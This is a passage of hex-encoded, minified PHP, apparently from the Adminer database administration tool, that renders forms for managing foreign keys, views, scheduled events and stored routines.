20 22 2C 61 72 72 61 79 5F 6D 61 70 28 27 69 64 66 5F 65 73 63 61 70 65
27 2C 24 45 66 29 29 2E 22 29 22 2E 28 65 72 65 67 28 22 5E 28 24 4F 64
29 5C 24 22 2C 24 4C 5B 22 6F 6E 5F 64 65 6C 65 74 65 22 5D 29 3F 22 20
4F 4E 20 44 45 4C 45 54 45 20 24 4C 5B 6F 6E 5F 64 65 6C 65 74 65 5D 22
3A 22 22 29 2E 28 65 72 65 67 28 22 5E 28 24 4F 64 29 5C 24 22 2C 24 4C
5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 29 3F 22 20 4F 4E 20 55 50 44 41
54 45 20 24 4C 5B 6F 6E 5F 75 70 64 61 74 65 5D 22 3A 22 22 29 2C 4D 45
2E 22 74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29 2C
28 24 45 21 3D 22 22 3F 27 46 6F 72 65 69 67 6E 20 6B 65 79 20 68 61 73
20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E 27 3A 27 46 6F 72 65 69 67 6E
20 6B 65 79 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 2E 27 29
29 3B 24 6C 3D 27 53 6F 75 72 63 65 20 61 6E 64 20 74 61 72 67 65 74 20
63 6F 6C 75 6D 6E 73 20 6D 75 73 74 20 68 61 76 65 20 74 68 65 20 73 61
6D 65 20 64 61 74 61 20 74 79 70 65 2C 20 74 68 65 72 65 20 6D 75 73 74
20 62 65 20 61 6E 20 69 6E 64 65 78 20 6F 6E 20 74 68 65 20 74 61 72 67
65 74 20 63 6F 6C 75 6D 6E 73 20 61 6E 64 20 72 65 66 65 72 65 6E 63 65
64 20 64 61 74 61 20 6D 75 73 74 20 65 78 69 73 74 2E 27 2E 22 3C 62 72
3E 24 6C 22 3B 7D 7D 70 61 67 65 5F 68 65 61 64 65 72 28 27 46 6F 72 65
69 67 6E 20 6B 65 79 27 2C 24 6C 2C 61 72 72 61 79 28 22 74 61 62 6C 65
22 3D 3E 24 61 29 2C 24 61 29 3B 69 66 28 24 5F 50 4F 53 54 29 7B 6B 73
6F 72 74 28 24 4C 5B 22 73 6F 75 72 63 65 22 5D 29 3B 69 66 28 24 5F 50
4F 53 54 5B 22 61 64 64 22 5D 29 24 4C 5B 22 73 6F 75 72 63 65 22 5D 5B
5D 3D 22 22 3B 65 6C 73 65 69 66 28 24 5F 50 4F 53 54 5B 22 63 68 61 6E
67 65 22 5D 7C 7C 24 5F 50 4F 53 54 5B 22 63 68 61 6E 67 65 2D 6A 73 22
5D 29 24 4C 5B 22 74 61 72 67 65 74 22 5D 3D 61 72 72 61 79 28 29 3B 7D
65 6C 73 65 69 66 28 24 45 21 3D 22 22 29 7B 24 70 3D 66 6F 72 65 69 67
6E 5F 6B 65 79 73 28 24 61 29 3B 24 4C 3D 24 70 5B 24 45 5D 3B 24 4C 5B
22 73 6F 75 72 63 65 22 5D 5B 5D 3D 22 22 3B 7D 65 6C 73 65 7B 24 4C 5B
22 74 61 62 6C 65 22 5D 3D 24 61 3B 24 4C 5B 22 73 6F 75 72 63 65 22 5D
3D 61 72 72 61 79 28 22 22 29 3B 7D 24 6A 66 3D 61 72 72 61 79 5F 6B 65
79 73 28 66 69 65 6C 64 73 28 24 61 29 29 3B 24 45 66 3D 28 24 61 3D 3D
3D 24 4C 5B 22 74 61 62 6C 65 22 5D 3F 24 6A 66 3A 61 72 72 61 79 5F 6B
65 79 73 28 66 69 65 6C 64 73 28 24 4C 5B 22 74 61 62 6C 65 22 5D 29 29
29 3B 24 49 65 3D 61 72 72 61 79 5F 6B 65 79 73 28 61 72 72 61 79 5F 66
69 6C 74 65 72 28 74 61 62 6C 65 5F 73 74 61 74 75 73 28 27 27 2C 74 72
75 65 29 2C 27 66 6B 5F 73 75 70 70 6F 72 74 27 29 29 3B 65 63 68 6F 27
0A 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D
22 70 6F 73 74 22 3E 0A 3C 70 3E 0A 27 3B 69 66 28 24 4C 5B 22 64 62 22
5D 3D 3D 22 22 26 26 24 4C 5B 22 6E 73 22 5D 3D 3D 22 22 29 7B 65 63 68
6F 27 54 61 72 67 65 74 20 74 61 62 6C 65 3A 0A 27 2C 68 74 6D 6C 5F 73
65 6C 65 63 74 28 22 74 61 62 6C 65 22 2C 24 49 65 2C 24 4C 5B 22 74 61
62 6C 65 22 5D 2C 22 74 68 69 73 2E 66 6F 72 6D 5B 27 63 68 61 6E 67 65
2D 6A 73 27 5D 2E 76 61 6C 75 65 20 3D 20 27 31 27 3B 20 74 68 69 73 2E
66 6F 72 6D 2E 73 75 62 6D 69 74 28 29 3B 22 29 2C 27 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 63 68 61
6E 67 65 2D 6A 73 22 20 76 61 6C 75 65 3D 22 22 3E 0A 3C 6E 6F 73 63 72
69 70 74 3E 3C 70 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D
69 74 22 20 6E 61 6D 65 3D 22 63 68 61 6E 67 65 22 20 76 61 6C 75 65 3D
22 43 68 61 6E 67 65 22 3E 3C 2F 6E 6F 73 63 72 69 70 74 3E 0A 3C 74 61
62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22 3E 0A 3C 74 68
65 61 64 3E 3C 74 72 3E 3C 74 68 3E 53 6F 75 72 63 65 3C 74 68 3E 54 61
72 67 65 74 3C 2F 74 68 65 61 64 3E 0A 27 3B 24 77 3D 30 3B 66 6F 72 65
61 63 68 28 24 4C 5B 22 73 6F 75 72 63 65 22 5D 61 73 24 79 3D 3E 24 58
29 7B 65 63 68 6F 22 3C 74 72 3E 22 2C 22 3C 74 64 3E 22 2E 68 74 6D 6C
5F 73 65 6C 65 63 74 28 22 73 6F 75 72 63 65 5B 22 2E 28 2B 24 79 29 2E
22 5D 22 2C 61 72 72 61 79 28 2D 31 3D 3E 22 22 29 2B 24 6A 66 2C 24 58
2C 28 24 77 3D 3D 63 6F 75 6E 74 28 24 4C 5B 22 73 6F 75 72 63 65 22 5D
29 2D 31 3F 22 66 6F 72 65 69 67 6E 41 64 64 52 6F 77 28 74 68 69 73 29
3B 22 3A 31 29 29 2C 22 3C 74 64 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63
74 28 22 74 61 72 67 65 74 5B 22 2E 28 2B 24 79 29 2E 22 5D 22 2C 24 45
66 2C 24 4C 5B 22 74 61 72 67 65 74 22 5D 5B 24 79 5D 29 3B 24 77 2B 2B
3B 7D 65 63 68 6F 27 3C 2F 74 61 62 6C 65 3E 0A 3C 70 3E 0A 4F 4E 20 44
45 4C 45 54 45 3A 20 27 2C 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 6F 6E
5F 64 65 6C 65 74 65 22 2C 61 72 72 61 79 28 2D 31 3D 3E 22 22 29 2B 65
78 70 6C 6F 64 65 28 22 7C 22 2C 24 4F 64 29 2C 24 4C 5B 22 6F 6E 5F 64
65 6C 65 74 65 22 5D 29 2C 27 20 4F 4E 20 55 50 44 41 54 45 3A 20 27 2C
68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 6F 6E 5F 75 70 64 61 74 65 22 2C
61 72 72 61 79 28 2D 31 3D 3E 22 22 29 2B 65 78 70 6C 6F 64 65 28 22 7C
22 2C 24 4F 64 29 2C 24 4C 5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 29 2C
27 3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74
22 20 76 61 6C 75 65 3D 22 53 61 76 65 22 3E 0A 3C 6E 6F 73 63 72 69 70
74 3E 3C 70 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74
22 20 6E 61 6D 65 3D 22 61 64 64 22 20 76 61 6C 75 65 3D 22 41 64 64 20
63 6F 6C 75 6D 6E 22 3E 3C 2F 6E 6F 73 63 72 69 70 74 3E 0A 27 3B 7D 69
66 28 24 45 21 3D 22 22 29 7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79
70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 64 72 6F 70 22 20
76 61 6C 75 65 3D 22 44 72 6F 70 22 27 2C 63 6F 6E 66 69 72 6D 28 29 2C
27 3E 27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68
69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75
65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65
6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 76 69 65 77 22
5D 29 29 7B 24 61 3D 24 5F 47 45 54 5B 22 76 69 65 77 22 5D 3B 24 4C 3D
24 5F 50 4F 53 54 3B 69 66 28 24 5F 50 4F 53 54 26 26 21 24 6C 29 7B 24
45 3D 74 72 69 6D 28 24 4C 5B 22 6E 61 6D 65 22 5D 29 3B 24 73 61 3D 22
20 41 53 5C 6E 24 4C 5B 73 65 6C 65 63 74 5D 22 3B 24 41 3D 4D 45 2E 22
74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 45 29 3B 24 43
3D 27 56 69 65 77 20 68 61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E
27 3B 69 66 28 21 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 26 26 24 61
3D 3D 24 45 26 26 24 78 21 3D 22 73 71 6C 69 74 65 22 29 71 75 65 72 79
5F 72 65 64 69 72 65 63 74 28 28 24 78 3D 3D 22 6D 73 73 71 6C 22 3F 22
41 4C 54 45 52 22 3A 22 43 52 45 41 54 45 20 4F 52 20 52 45 50 4C 41 43
45 22 29 2E 22 20 56 49 45 57 20 22 2E 74 61 62 6C 65 28 24 45 29 2E 24
73 61 2C 24 41 2C 24 43 29 3B 65 6C 73 65 7B 24 47 66 3D 24 45 2E 22 5F
61 64 6D 69 6E 65 72 5F 22 2E 75 6E 69 71 69 64 28 29 3B 64 72 6F 70 5F
63 72 65 61 74 65 28 22 44 52 4F 50 20 56 49 45 57 20 22 2E 74 61 62 6C
65 28 24 61 29 2C 22 43 52 45 41 54 45 20 56 49 45 57 20 22 2E 74 61 62
6C 65 28 24 45 29 2E 24 73 61 2C 22 44 52 4F 50 20 56 49 45 57 20 22 2E
74 61 62 6C 65 28 24 45 29 2C 22 43 52 45 41 54 45 20 56 49 45 57 20 22
2E 74 61 62 6C 65 28 24 47 66 29 2E 24 73 61 2C 22 44 52 4F 50 20 56 49
45 57 20 22 2E 74 61 62 6C 65 28 24 47 66 29 2C 28 24 5F 50 4F 53 54 5B
22 64 72 6F 70 22 5D 3F 73 75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 3A
24 41 29 2C 27 56 69 65 77 20 68 61 73 20 62 65 65 6E 20 64 72 6F 70 70
65 64 2E 27 2C 24 43 2C 27 56 69 65 77 20 68 61 73 20 62 65 65 6E 20 63
72 65 61 74 65 64 2E 27 2C 24 61 2C 24 45 29 3B 7D 7D 69 66 28 21 24 5F
50 4F 53 54 26 26 24 61 21 3D 22 22 29 7B 24 4C 3D 76 69 65 77 28 24 61
29 3B 24 4C 5B 22 6E 61 6D 65 22 5D 3D 24 61 3B 69 66 28 21 24 6C 29 24
6C 3D 24 67 2D 3E 65 72 72 6F 72 3B 7D 70 61 67 65 5F 68 65 61 64 65 72
28 28 24 61 21 3D 22 22 3F 27 41 6C 74 65 72 20 76 69 65 77 27 3A 27 43
72 65 61 74 65 20 76 69 65 77 27 29 2C 24 6C 2C 61 72 72 61 79 28 22 74
61 62 6C 65 22 3D 3E 24 61 29 2C 24 61 29 3B 65 63 68 6F 27 0A 3C 66 6F
72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70 6F 73
74 22 3E 0A 3C 70 3E 4E 61 6D 65 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65
3D 22 6E 61 6D 65 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24 4C 5B 22 6E
61 6D 65 22 5D 29 2C 27 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22
20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C
70 3E 27 3B 74 65 78 74 61 72 65 61 28 22 73 65 6C 65 63 74 22 2C 24 4C
5B 22 73 65 6C 65 63 74 22 5D 29 3B 65 63 68 6F 27 3C 70 3E 0A 3C 69 6E
70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D
22 53 61 76 65 22 3E 0A 27 3B 69 66 28 24 5F 47 45 54 5B 22 76 69 65 77
22 5D 21 3D 22 22 29 7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65
3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 64 72 6F 70 22 20 76 61
6C 75 65 3D 22 44 72 6F 70 22 27 2C 63 6F 6E 66 69 72 6D 28 29 2C 27 3E
27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64
64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D
22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73
65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 65 76 65 6E 74 22 5D
29 29 7B 24 61 61 3D 24 5F 47 45 54 5B 22 65 76 65 6E 74 22 5D 3B 24 4F
63 3D 61 72 72 61 79 28 22 59 45 41 52 22 2C 22 51 55 41 52 54 45 52 22
2C 22 4D 4F 4E 54 48 22 2C 22 44 41 59 22 2C 22 48 4F 55 52 22 2C 22 4D
49 4E 55 54 45 22 2C 22 57 45 45 4B 22 2C 22 53 45 43 4F 4E 44 22 2C 22
59 45 41 52 5F 4D 4F 4E 54 48 22 2C 22 44 41 59 5F 48 4F 55 52 22 2C 22
44 41 59 5F 4D 49 4E 55 54 45 22 2C 22 44 41 59 5F 53 45 43 4F 4E 44 22
2C 22 48 4F 55 52 5F 4D 49 4E 55 54 45 22 2C 22 48 4F 55 52 5F 53 45 43
4F 4E 44 22 2C 22 4D 49 4E 55 54 45 5F 53 45 43 4F 4E 44 22 29 3B 24 6F
66 3D 61 72 72 61 79 28 22 45 4E 41 42 4C 45 44 22 3D 3E 22 45 4E 41 42
4C 45 22 2C 22 44 49 53 41 42 4C 45 44 22 3D 3E 22 44 49 53 41 42 4C 45
22 2C 22 53 4C 41 56 45 53 49 44 45 5F 44 49 53 41 42 4C 45 44 22 3D 3E
22 44 49 53 41 42 4C 45 20 4F 4E 20 53 4C 41 56 45 22 29 3B 24 4C 3D 24
5F 50 4F 53 54 3B 69 66 28 24 5F 50 4F 53 54 26 26 21 24 6C 29 7B 69 66
28 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 29 71 75 65 72 79 5F 72 65
64 69 72 65 63 74 28 22 44 52 4F 50 20 45 56 45 4E 54 20 22 2E 69 64 66
5F 65 73 63 61 70 65 28 24 61 61 29 2C 73 75 62 73 74 72 28 4D 45 2C 30
2C 2D 31 29 2C 27 45 76 65 6E 74 20 68 61 73 20 62 65 65 6E 20 64 72 6F
70 70 65 64 2E 27 29 3B 65 6C 73 65 69 66 28 69 6E 5F 61 72 72 61 79 28
24 4C 5B 22 49 4E 54 45 52 56 41 4C 5F 46 49 45 4C 44 22 5D 2C 24 4F 63
29 26 26 69 73 73 65 74 28 24 6F 66 5B 24 4C 5B 22 53 54 41 54 55 53 22
5D 5D 29 29 7B 24 5A 65 3D 22 5C 6E 4F 4E 20 53 43 48 45 44 55 4C 45 20
22 2E 28 24 4C 5B 22 49 4E 54 45 52 56 41 4C 5F 56 41 4C 55 45 22 5D 3F
22 45 56 45 52 59 20 22 2E 71 28 24 4C 5B 22 49 4E 54 45 52 56 41 4C 5F
56 41 4C 55 45 22 5D 29 2E 22 20 24 4C 5B 49 4E 54 45 52 56 41 4C 5F 46
49 45 4C 44 5D 22 2E 28 24 4C 5B 22 53 54 41 52 54 53 22 5D 3F 22 20 53
54 41 52 54 53 20 22 2E 71 28 24 4C 5B 22 53 54 41 52 54 53 22 5D 29 3A
22 22 29 2E 28 24 4C 5B 22 45 4E 44 53 22 5D 3F 22 20 45 4E 44 53 20 22
2E 71 28 24 4C 5B 22 45 4E 44 53 22 5D 29 3A 22 22 29 3A 22 41 54 20 22
2E 71 28 24 4C 5B 22 53 54 41 52 54 53 22 5D 29 29 2E 22 20 4F 4E 20 43
4F 4D 50 4C 45 54 49 4F 4E 22 2E 28 24 4C 5B 22 4F 4E 5F 43 4F 4D 50 4C
45 54 49 4F 4E 22 5D 3F 22 22 3A 22 20 4E 4F 54 22 29 2E 22 20 50 52 45
53 45 52 56 45 22 3B 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28
73 75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 2C 28 24 61 61 21 3D 22 22
3F 27 45 76 65 6E 74 20 68 61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64
2E 27 3A 27 45 76 65 6E 74 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74
65 64 2E 27 29 2C 71 75 65 72 69 65 73 28 28 24 61 61 21 3D 22 22 3F 22
41 4C 54 45 52 20 45 56 45 4E 54 20 22 2E 69 64 66 5F 65 73 63 61 70 65
28 24 61 61 29 2E 24 5A 65 2E 28 24 61 61 21 3D 24 4C 5B 22 45 56 45 4E
54 5F 4E 41 4D 45 22 5D 3F 22 5C 6E 52 45 4E 41 4D 45 20 54 4F 20 22 2E
69 64 66 5F 65 73 63 61 70 65 28 24 4C 5B 22 45 56 45 4E 54 5F 4E 41 4D
45 22 5D 29 3A 22 22 29 3A 22 43 52 45 41 54 45 20 45 56 45 4E 54 20 22
2E 69 64 66 5F 65 73 63 61 70 65 28 24 4C 5B 22 45 56 45 4E 54 5F 4E 41
4D 45 22 5D 29 2E 24 5A 65 29 2E 22 5C 6E 22 2E 24 6F 66 5B 24 4C 5B 22
53 54 41 54 55 53 22 5D 5D 2E 22 20 43 4F 4D 4D 45 4E 54 20 22 2E 71 28
24 4C 5B 22 45 56 45 4E 54 5F 43 4F 4D 4D 45 4E 54 22 5D 29 2E 72 74 72
69 6D 28 22 20 44 4F 5C 6E 24 4C 5B 45 56 45 4E 54 5F 44 45 46 49 4E 49
54 49 4F 4E 5D 22 2C 22 3B 22 29 2E 22 3B 22 29 29 3B 7D 7D 70 61 67 65
5F 68 65 61 64 65 72 28 28 24 61 61 21 3D 22 22 3F 27 41 6C 74 65 72 20
65 76 65 6E 74 27 2E 22 3A 20 22 2E 68 28 24 61 61 29 3A 27 43 72 65 61
74 65 20 65 76 65 6E 74 27 29 2C 24 6C 29 3B 69 66 28 21 24 4C 26 26 24
61 61 21 3D 22 22 29 7B 24 4D 3D 67 65 74 5F 72 6F 77 73 28 22 53 45 4C
45 43 54 20 2A 20 46 52 4F 4D 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73
63 68 65 6D 61 2E 45 56 45 4E 54 53 20 57 48 45 52 45 20 45 56 45 4E 54
5F 53 43 48 45 4D 41 20 3D 20 22 2E 71 28 44 42 29 2E 22 20 41 4E 44 20
45 56 45 4E 54 5F 4E 41 4D 45 20 3D 20 22 2E 71 28 24 61 61 29 29 3B 24
4C 3D 72 65 73 65 74 28 24 4D 29 3B 7D 65 63 68 6F 27 0A 3C 66 6F 72 6D
20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70 6F 73 74 22
3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22
3E 0A 3C 74 72 3E 3C 74 68 3E 4E 61 6D 65 3C 74 64 3E 3C 69 6E 70 75 74
20 6E 61 6D 65 3D 22 45 56 45 4E 54 5F 4E 41 4D 45 22 20 76 61 6C 75 65
3D 22 27 2C 68 28 24 4C 5B 22 45 56 45 4E 54 5F 4E 41 4D 45 22 5D 29 2C
27 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 20 61 75 74 6F 63 61
70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 3C 74 72 3E 3C 74 68 20
74 69 74 6C 65 3D 22 64 61 74 65 74 69 6D 65 22 3E 53 74 61 72 74 3C 74
64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 53 54 41 52 54 53 22 20 76
61 6C 75 65 3D 22 27 2C 68 28 22 24 4C 5B 45 58 45 43 55 54 45 5F 41 54
5D 24 4C 5B 53 54 41 52 54 53 5D 22 29 2C 27 22 3E 0A 3C 74 72 3E 3C 74
68 20 74 69 74 6C 65 3D 22 64 61 74 65 74 69 6D 65 22 3E 45 6E 64 3C 74
64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 45 4E 44 53 22 20 76 61 6C
75 65 3D 22 27 2C 68 28 24 4C 5B 22 45 4E 44 53 22 5D 29 2C 27 22 3E 0A
3C 74 72 3E 3C 74 68 3E 45 76 65 72 79 3C 74 64 3E 3C 69 6E 70 75 74 20
74 79 70 65 3D 22 6E 75 6D 62 65 72 22 20 6E 61 6D 65 3D 22 49 4E 54 45
52 56 41 4C 5F 56 41 4C 55 45 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24
4C 5B 22 49 4E 54 45 52 56 41 4C 5F 56 41 4C 55 45 22 5D 29 2C 27 22 20
63 6C 61 73 73 3D 22 73 69 7A 65 22 3E 20 27 2C 68 74 6D 6C 5F 73 65 6C
65 63 74 28 22 49 4E 54 45 52 56 41 4C 5F 46 49 45 4C 44 22 2C 24 4F 63
2C 24 4C 5B 22 49 4E 54 45 52 56 41 4C 5F 46 49 45 4C 44 22 5D 29 2C 27
3C 74 72 3E 3C 74 68 3E 53 74 61 74 75 73 3C 74 64 3E 27 2C 68 74 6D 6C
5F 73 65 6C 65 63 74 28 22 53 54 41 54 55 53 22 2C 24 6F 66 2C 24 4C 5B
22 53 54 41 54 55 53 22 5D 29 2C 27 3C 74 72 3E 3C 74 68 3E 43 6F 6D 6D
65 6E 74 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 45 56 45 4E
54 5F 43 4F 4D 4D 45 4E 54 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24 4C
5B 22 45 56 45 4E 54 5F 43 4F 4D 4D 45 4E 54 22 5D 29 2C 27 22 20 6D 61
78 6C 65 6E 67 74 68 3D 22 36 34 22 3E 0A 3C 74 72 3E 3C 74 68 3E 26 6E
62 73 70 3B 3C 74 64 3E 27 2C 63 68 65 63 6B 62 6F 78 28 22 4F 4E 5F 43
4F 4D 50 4C 45 54 49 4F 4E 22 2C 22 50 52 45 53 45 52 56 45 22 2C 24 4C
5B 22 4F 4E 5F 43 4F 4D 50 4C 45 54 49 4F 4E 22 5D 3D 3D 22 50 52 45 53
45 52 56 45 22 2C 27 4F 6E 20 63 6F 6D 70 6C 65 74 69 6F 6E 20 70 72 65
73 65 72 76 65 27 29 2C 27 3C 2F 74 61 62 6C 65 3E 0A 3C 70 3E 27 3B 74
65 78 74 61 72 65 61 28 22 45 56 45 4E 54 5F 44 45 46 49 4E 49 54 49 4F
4E 22 2C 24 4C 5B 22 45 56 45 4E 54 5F 44 45 46 49 4E 49 54 49 4F 4E 22
5D 29 3B 65 63 68 6F 27 3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D
22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 53 61 76 65 22 3E 0A 27
3B 69 66 28 24 61 61 21 3D 22 22 29 7B 65 63 68 6F 27 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 64 72 6F
70 22 20 76 61 6C 75 65 3D 22 44 72 6F 70 22 27 2C 63 6F 6E 66 69 72 6D
28 29 2C 27 3E 27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65
3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76
61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27
3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 70 72
6F 63 65 64 75 72 65 22 5D 29 29 7B 24 64 61 3D 24 5F 47 45 54 5B 22 70
72 6F 63 65 64 75 72 65 22 5D 3B 24 56 65 3D 28 69 73 73 65 74 28 24 5F
47 45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 29 3F 22 46 55 4E 43 54 49
4F 4E 22 3A 22 50 52 4F 43 45 44 55 52 45 22 29 3B 24 4C 3D 24 5F 50 4F
53 54 3B 24 4C 5B 22 66 69 65 6C 64 73 22 5D 3D 28 61 72 72 61 79 29 24
4C 5B 22 66 69 65 6C 64 73 22 5D 3B 69 66 28 24 5F 50 4F 53 54 26 26 21
70 72 6F 63 65 73 73 5F 66 69 65 6C 64 73 28 24 4C 5B 22 66 69 65 6C 64
73 22 5D 29 26 26 21 24 6C 29 7B 24 47 66 3D 22 24 4C 5B 6E 61 6D 65 5D
5F 61 64 6D 69 6E 65 72 5F 22 2E 75 6E 69 71 69 64 28 29 3B 64 72 6F 70
5F 63 72 65 61 74 65 28 22 44 52 4F 50 20 24 56 65 20 22 2E 69 64 66 5F
65 73 63 61 70 65 28 24 64 61 29 2C 63 72 65 61 74 65 5F 72 6F 75 74 69
6E 65 28 24 56 65 2C 24 4C 29 2C 22 44 52 4F 50 20 24 56 65 20 22 2E 69
64 66 5F 65 73 63 61 70 65 28 24 4C 5B 22 6E 61 6D 65 22 5D 29 2C 63 72
65 61 74 65 5F 72 6F 75 74 69 6E 65 28 24 56 65 2C 61 72 72 61 79 28 22
6E 61 6D 65 22 3D 3E 24 47 66 29 2B 24 4C 29 2C 22 44 52 4F 50 20 24 56
65 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 47 66 29 2C 73 75 62 73
74 72 28 4D 45 2C 30 2C 2D 31 29 2C 27 52 6F 75 74 69 6E 65 20 68 61 73
20 62 65 65 6E 20 64 72 6F 70 70 65 64 2E 27 2C 27 52 6F 75 74 69 6E 65
20 68 61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E 27 2C 27 52 6F 75
74 69 6E 65 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 2E 27 2C
24 64 61 2C 24 4C 5B 22 6E 61 6D 65 22 5D 29 3B 7D 70 61 67 65 5F 68 65
61 64 65 72 28 28 24 64 61 21 3D 22 22 3F 28 69 73 73 65 74 28 24 5F 47
45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 29 3F 27 41 6C 74 65 72 20 66
75 6E 63 74 69 6F 6E 27 3A 27 41 6C 74 65 72 20 70 72 6F 63 65 64 75 72
65 27 29 2E 22 3A 20 22 2E 68 28 24 64 61 29 3A 28 69 73 73 65 74 28 24
5F 47 45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 29 3F 27 43 72 65 61 74
65 20 66 75 6E 63 74 69 6F 6E 27 3A 27 43 72 65 61 74 65 20 70 72 6F 63
65 64 75 72 65 27 29 29 2C 24 6C 29 3B 69 66 28 21 24 5F 50 4F 53 54 26
26 24 64 61 21 3D 22 22 29 7B 24 4C 3D 72 6F 75 74 69 6E 65 28 24 64 61
2C 24 56 65 29 3B 24 4C 5B 22 6E 61 6D 65 22 5D 3D 24 64 61 3B 7D 24 64
3D 67 65 74 5F 76 61 6C 73 28 22 53 48 4F 57 20 43 48 41 52 41 43 54 45
52 20 53 45 54 22 29 3B 73 6F 72 74 28 24 64 29 3B 24 57 65 3D 72 6F 75
74 69 6E 65 5F 6C 61 6E 67 75 61 67 65 73 28 29 3B 65 63 68 6F 27 0A 3C
66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70
6F 73 74 22 20 69 64 3D 22 66 6F 72 6D 22 3E 0A 3C 70 3E 4E 61 6D 65 3A
20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 6E 61 6D 65 22 20 76 61 6C 75
65 3D 22 27 2C 68 28 24 4C 5B 22 6E 61 6D 65 22 5D 29 2C 27 22 20 6D 61
78 6C 65 6E 67 74 68 3D 22 36 34 22 20 61 75 74 6F 63 61 70 69 74 61 6C
69 7A 65 3D 22 6F 66 66 22 3E 0A 27 2C 28 24 57 65 3F 27 4C 61 6E 67 75
61 67 65 27 2E 22 3A 20 22 2E 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 6C
61 6E 67 75 61 67 65 22 2C 24 57 65 2C 24 4C 5B 22 6C 61 6E 67 75 61 67
65 22 5D 29 3A 22 22 29 2C 27 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61
63 69 6E 67 3D 22 30 22 20 63 6C 61 73 73 3D 22 6E 6F 77 72 61 70 22 3E
0A 27 3B 65 64 69 74 5F 66 69 65 6C 64 73 28 24 4C 5B 22 66 69 65 6C 64
73 22 5D 2C 24 64 2C 24 56 65 29 3B 69 66 28 69 73 73 65 74 28 24 5F 47
45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 29 29 7B 65 63 68 6F 22 3C 74
